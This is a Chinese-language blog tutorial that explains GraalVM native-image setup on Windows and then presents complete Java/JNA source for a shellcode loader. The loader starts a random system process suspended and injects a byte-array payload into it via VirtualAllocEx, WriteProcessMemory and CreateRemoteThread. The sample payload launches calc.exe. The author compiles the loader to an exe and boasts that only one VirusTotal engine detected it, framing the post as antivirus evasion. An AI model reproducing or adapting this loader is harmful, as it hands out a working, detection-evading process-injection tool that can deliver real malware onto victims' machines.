使用Graalvm加载Shellcode
Graalvm介绍
介绍Graalvm之前,首先就要了解Java编译的JIT和AOT是什么
JIT(Just-in-Time,即时编译)和AOT(Ahead-of-Time,预编译),就像Java常见的是需要什么类,就加载进来编译并解析。而现随着云计算的发展,很多微服务架构都需要提前通过编译转换成原生可执行的,原先的JIT方式在云环境中就存在很多的限制。
AOT带来的好处,可以使Java在虚拟机加载这些二进制文件能直接调用,无需再等编译器运行时再转换成机器码,可以减少性能和内存的消耗。但缺点也很明显,提前编译就意味着对机器的指令要求很高,因此不可以跨平台执行,打破了一次编译到处运行的设计理念,同时也不存在反射等动态调用的能力。
而Graalvm应运而生
Oracle在2019年推出的新一代UVM(通用虚拟机),它在HotSpotVM的基础上进行了大量的优化和改进,主要提供了两大特性:
-
Polyglot:多语言支持,你可以在GraalVM中无缝运行多种语言,包括Java、JS、Ruby、Python甚至是Rust。更重要的是可以通过GraalVM的API来实现语言混编 —— 比如在一段Java代码中无缝引用并调用一个Python实现的模块。
-
HighPerformance:高性能,首先它提供了一个高性能的JIT引擎,让Java语言在GraalVM上执行的时候效率更高速度更快 ;其次就是提供了SubstrateVM,通过Graal Compiler你可以将各种支持的语言(包括Java)编译成本地机器代码,获得更好的性能表现。
安装Graalvm
在https://github.com/graalvm/graalvm-ce-builds/releases地址下载对应版本的安装文件后,解压
需要配置两个系统环境
-
PATH:安装目录下的/bin文件
-
JAVA_HOME:安装目录
设置好之后,运行java -version查看Graalvm是否安装成功
再使用Graalvm Update工具下载Native-Image
而想在Windows上执行Native-Image,首先得安装Visual Studio的环境,用x64 Native Tools Command Prompt命令行来执行
这里我使用Visual Studio 2017的桌面开发环境,安装了MSVC和默认的默认的库类
找到安装目录的\VC\Auxiliary\Build\vcvars64.bat
Lib
C:\Program Files (x86)\Microsoft Visual Studio\2019\BuildTools\VC\Tools\MSVC\14.29.30133\lib\x64 C:\Program Files (x86)\Windows Kits\10\Lib\10.0.19041.0\ucrt\x64 C:\Program Files (x86)\Windows Kits\10\Lib\10.0.19041.0\um\x64
MSVC
C:\Program Files (x86)\Microsoft Visual Studio\2019\BuildTools\VC\Tools\MSVC\14.29.30133
C:\Program Files (x86)\Microsoft Visual Studio\2019\BuildTools\VC\Tools\MSVC\14.29.30133\include C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\ucrt C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\um C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\shared
设置完成后添加如下路径到PATH中
%MSVC%\bin\Hostx64\x64
但是我这里出现了bug,不知道为啥命令提示符执行没有结果,最后是使用VS Code里的Terminal才成功的。
可以看到Native-Image编译后的程序运行速度快了近39倍!
Java ShellCode Loader
原本是想用rebeyond师傅提出的Shellcode执行方法来弄,后面发现打包成jar包一直报ClassNotFound,把依赖打包进去也不管用,于是就在Github上找到一个ShellCode注入的方法:https://github.com/yzddmr6/Java-Shellcode-Loader
核心原理是用JNA的方法
package executeCode; import com.sun.jna.Memory; import com.sun.jna.Native; import com.sun.jna.Pointer; import com.sun.jna.platform.win32.Kernel32; import com.sun.jna.platform.win32.WinBase; import com.sun.jna.platform.win32.WinDef; import com.sun.jna.platform.win32.WinNT; import com.sun.jna.platform.win32.WinNT.HANDLE; import com.sun.jna.ptr.IntByReference; import com.sun.jna.win32.StdCallLibrary; import com.sun.jna.win32.W32APIOptions; import java.util.Random; public class Jna { static byte shellcode[] = new byte[] //pop calc.exe x64 { (byte) 0xfc, (byte) 0x48, (byte) 0x83, (byte) 0xe4, (byte) 0xf0, (byte) 0xe8, (byte) 0xc0, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x41, (byte) 0x51, (byte) 0x41, (byte) 0x50, (byte) 0x52, (byte) 0x51, (byte) 0x56, (byte) 0x48, (byte) 0x31, (byte) 0xd2, (byte) 0x65, (byte) 0x48, (byte) 0x8b, (byte) 0x52, (byte) 0x60, (byte) 0x48, (byte) 0x8b, (byte) 0x52, (byte) 0x18, (byte) 0x48, (byte) 0x8b, (byte) 0x52, (byte) 0x20, (byte) 0x48, (byte) 0x8b, (byte) 0x72, (byte) 0x50, (byte) 0x48, (byte) 0x0f, (byte) 0xb7, (byte) 0x4a, (byte) 0x4a, (byte) 0x4d, (byte) 0x31, (byte) 0xc9, (byte) 0x48, (byte) 0x31, (byte) 0xc0, (byte) 0xac, (byte) 0x3c, (byte) 0x61, (byte) 0x7c, (byte) 0x02, (byte) 0x2c, (byte) 0x20, (byte) 0x41, (byte) 0xc1, (byte) 0xc9, (byte) 0x0d, (byte) 0x41, (byte) 0x01, (byte) 0xc1, (byte) 0xe2, (byte) 0xed, (byte) 0x52, (byte) 0x41, (byte) 0x51, (byte) 0x48, (byte) 0x8b, (byte) 0x52, (byte) 0x20, (byte) 0x8b, (byte) 0x42, (byte) 0x3c, (byte) 0x48, (byte) 0x01, (byte) 0xd0, (byte) 0x8b, (byte) 0x80, (byte) 0x88, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x48, (byte) 0x85, (byte) 0xc0, (byte) 0x74, (byte) 0x67, (byte) 0x48, (byte) 0x01, (byte) 0xd0, (byte) 0x50, (byte) 0x8b, (byte) 0x48, (byte) 0x18, (byte) 0x44, (byte) 0x8b, (byte) 0x40, (byte) 0x20, (byte) 0x49, (byte) 0x01, (byte) 0xd0, (byte) 0xe3, (byte) 0x56, (byte) 0x48, (byte) 0xff, (byte) 0xc9, (byte) 0x41, (byte) 0x8b, (byte) 0x34, (byte) 0x88, (byte) 0x48, (byte) 0x01, (byte) 0xd6, (byte) 0x4d, (byte) 0x31, (byte) 0xc9, (byte) 0x48, (byte) 0x31, (byte) 0xc0, (byte) 0xac, (byte) 0x41, (byte) 0xc1, (byte) 0xc9, (byte) 0x0d, (byte) 0x41, (byte) 0x01, (byte) 0xc1, (byte) 0x38, (byte) 0xe0, (byte) 0x75, (byte) 0xf1, (byte) 0x4c, (byte) 0x03, (byte) 0x4c, (byte) 0x24, (byte) 0x08, (byte) 0x45, (byte) 0x39, (byte) 0xd1, (byte) 0x75, (byte) 0xd8, (byte) 0x58, (byte) 0x44, (byte) 0x8b, (byte) 0x40, (byte) 0x24, (byte) 0x49, (byte) 0x01, (byte) 0xd0, (byte) 0x66, (byte) 0x41, (byte) 0x8b, (byte) 0x0c, (byte) 0x48, (byte) 0x44, (byte) 0x8b, (byte) 0x40, (byte) 0x1c, (byte) 0x49, (byte) 0x01, (byte) 0xd0, (byte) 0x41, (byte) 0x8b, (byte) 0x04, (byte) 0x88, (byte) 0x48, (byte) 0x01, (byte) 0xd0, (byte) 0x41, (byte) 0x58, (byte) 0x41, (byte) 0x58, (byte) 0x5e, (byte) 0x59, (byte) 0x5a, (byte) 0x41, (byte) 0x58, (byte) 0x41, (byte) 0x59, (byte) 0x41, (byte) 0x5a, (byte) 0x48, (byte) 0x83, (byte) 0xec, (byte) 0x20, (byte) 0x41, (byte) 0x52, (byte) 0xff, (byte) 0xe0, (byte) 0x58, (byte) 0x41, (byte) 0x59, (byte) 0x5a, (byte) 0x48, (byte) 0x8b, (byte) 0x12, (byte) 0xe9, (byte) 0x57, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x5d, (byte) 0x48, (byte) 0xba, (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x48, (byte) 0x8d, (byte) 0x8d, (byte) 0x01, (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x41, (byte) 0xba, (byte) 0x31, (byte) 0x8b, (byte) 0x6f, (byte) 0x87, (byte) 0xff, (byte) 0xd5, (byte) 0xbb, (byte) 0xf0, (byte) 0xb5, (byte) 0xa2, (byte) 0x56, (byte) 0x41, (byte) 0xba, (byte) 0xa6, (byte) 0x95, (byte) 0xbd, (byte) 0x9d, (byte) 0xff, (byte) 0xd5, (byte) 0x48, (byte) 0x83, (byte) 0xc4, (byte) 0x28, (byte) 0x3c, (byte) 0x06, (byte) 0x7c, (byte) 0x0a, (byte) 0x80, (byte) 0xfb, (byte) 0xe0, (byte) 0x75, (byte) 0x05, (byte) 0xbb, (byte) 0x47, (byte) 0x13, (byte) 0x72, (byte) 0x6f, (byte) 0x6a, (byte) 0x00, (byte) 0x59, (byte) 0x41, (byte) 0x89, (byte) 0xda, (byte) 0xff, (byte) 0xd5, (byte) 0x63, (byte) 0x61, (byte) 0x6c, (byte) 0x63, (byte) 0x2e, (byte) 0x65, (byte) 0x78, (byte) 0x65, (byte) 0x00 }; static Kernel32 kernel32; static IKernel32 iKernel32; public static String[] ProcessArrayx32 = {"C:\\Windows\\SysWOW64\\ARP.exe", "C:\\Windows\\SysWOW64\\at.exe", "C:\\Windows\\SysWOW64\\auditpol.exe", "C:\\Windows\\SysWOW64\\bitsadmin.exe", "C:\\Windows\\SysWOW64\\bootcfg.exe", "C:\\Windows\\SysWOW64\\ByteCodeGenerator.exe", "C:\\Windows\\SysWOW64\\cacls.exe", "C:\\Windows\\SysWOW64\\chcp.com", "C:\\Windows\\SysWOW64\\CheckNetIsolation.exe", "C:\\Windows\\SysWOW64\\chkdsk.exe", "C:\\Windows\\SysWOW64\\choice.exe", "C:\\Windows\\SysWOW64\\cmdkey.exe", "C:\\Windows\\SysWOW64\\comp.exe", "C:\\Windows\\SysWOW64\\diskcomp.com", "C:\\Windows\\SysWOW64\\Dism.exe", "C:\\Windows\\SysWOW64\\esentutl.exe", "C:\\Windows\\SysWOW64\\expand.exe", "C:\\Windows\\SysWOW64\\fc.exe", "C:\\Windows\\SysWOW64\\find.exe", "C:\\Windows\\SysWOW64\\gpresult.exe"}; public static String[] ProcessArrayx64 = {"C:\\Windows\\System32\\rundll32.exe", "C:\\Windows\\System32\\find.exe", "C:\\Windows\\System32\\notepad.exe", "C:\\Windows\\System32\\ARP.EXE"}; static { kernel32 = (Kernel32) Native.loadLibrary(Kernel32.class, W32APIOptions.UNICODE_OPTIONS); iKernel32 = (IKernel32) Native.loadLibrary("kernel32", IKernel32.class); } public static void main(String[] args) { Jna jnaLoader = new Jna(); boolean is64 = true; System.out.println("\nShellcode: \n" + shellcode); jnaLoader.loadShellCode(shellcode, is64); } public void loadShellCode(byte[] shellcodeHex, boolean is64) { String[] targetProcessArray = null; // java是64位且选择注入64位shellcode if (System.getProperty("sun.arch.data.model").equals("64") && is64) { targetProcessArray = ProcessArrayx64; } else { //默认注入32位进程 targetProcessArray = ProcessArrayx32; } int j = targetProcessArray.length; byte b = 0; Random random = new Random(); int k = b + random.nextInt(j); String targetProcess = targetProcessArray[k]; this.loadShellCode(shellcodeHex, targetProcess); } public void loadShellCode(byte[] shellcodeByte, String targetProcess) { System.out.println("targetProcess: " + targetProcess); int shellcodeSize = shellcodeByte.length; IntByReference intByReference = new IntByReference(0); Memory memory = new Memory((long) shellcodeSize); for (int j = 0; j < shellcodeSize; ++j) { memory.setByte((long) j, shellcodeByte[j]); } WinBase.PROCESS_INFORMATION pROCESS_INFORMATION = new WinBase.PROCESS_INFORMATION(); WinBase.STARTUPINFO sTARTUPINFO = new WinBase.STARTUPINFO(); sTARTUPINFO.cb = new WinDef.DWORD((long) pROCESS_INFORMATION.size()); if (kernel32.CreateProcess(targetProcess, (String) null, (WinBase.SECURITY_ATTRIBUTES) null, (WinBase.SECURITY_ATTRIBUTES) null, false, new WinDef.DWORD(4L), (Pointer) null, (String) null, sTARTUPINFO, pROCESS_INFORMATION)) { Pointer pointer = iKernel32.VirtualAllocEx(pROCESS_INFORMATION.hProcess, Pointer.createConstant(0), shellcodeSize, 4096, 64); iKernel32.WriteProcessMemory(pROCESS_INFORMATION.hProcess, pointer, memory, shellcodeSize, intByReference); HANDLE hANDLE = iKernel32.CreateRemoteThread(pROCESS_INFORMATION.hProcess, (Object) null, 0, pointer, 0, 0, (Object) null); kernel32.WaitForSingleObject(hANDLE, -1); } } interface IKernel32 extends StdCallLibrary { Pointer VirtualAlloc(Pointer var1, int var2, int var3, int var4); HANDLE CreateThread(Object var1, int var2, Pointer var3, int var4, int var5, Object var6); Pointer VirtualAllocEx(HANDLE var1, Pointer var2, int var3, int var4, int var5); HANDLE CreateRemoteThread(HANDLE var1, Object var2, int var3, Pointer var4, int var5, int var6, Object var7); boolean WriteProcessMemory(WinNT.HANDLE param1HANDLE, Pointer param1Pointer1, Pointer param1Pointer2, int param1Int, IntByReference param1IntByReference); boolean ReadProcessMemory(Pointer var1, int var2, Pointer var3, int var4, IntByReference var5); int VirtualQueryEx(Pointer var1, Pointer var2, Pointer var3, int var4); Pointer OpenProcess(int var1, boolean var2, int var3); Pointer GetCurrentProcess(); } }
上述代码中的字节数组是弹出Calc.exe的ShellCode
随着依赖包和Main方法一起打包到Jar包中,并用Native-image将jar包编译成exe
native-image -jar Loader.jar
传到VirusTotal上,只有一个上报异常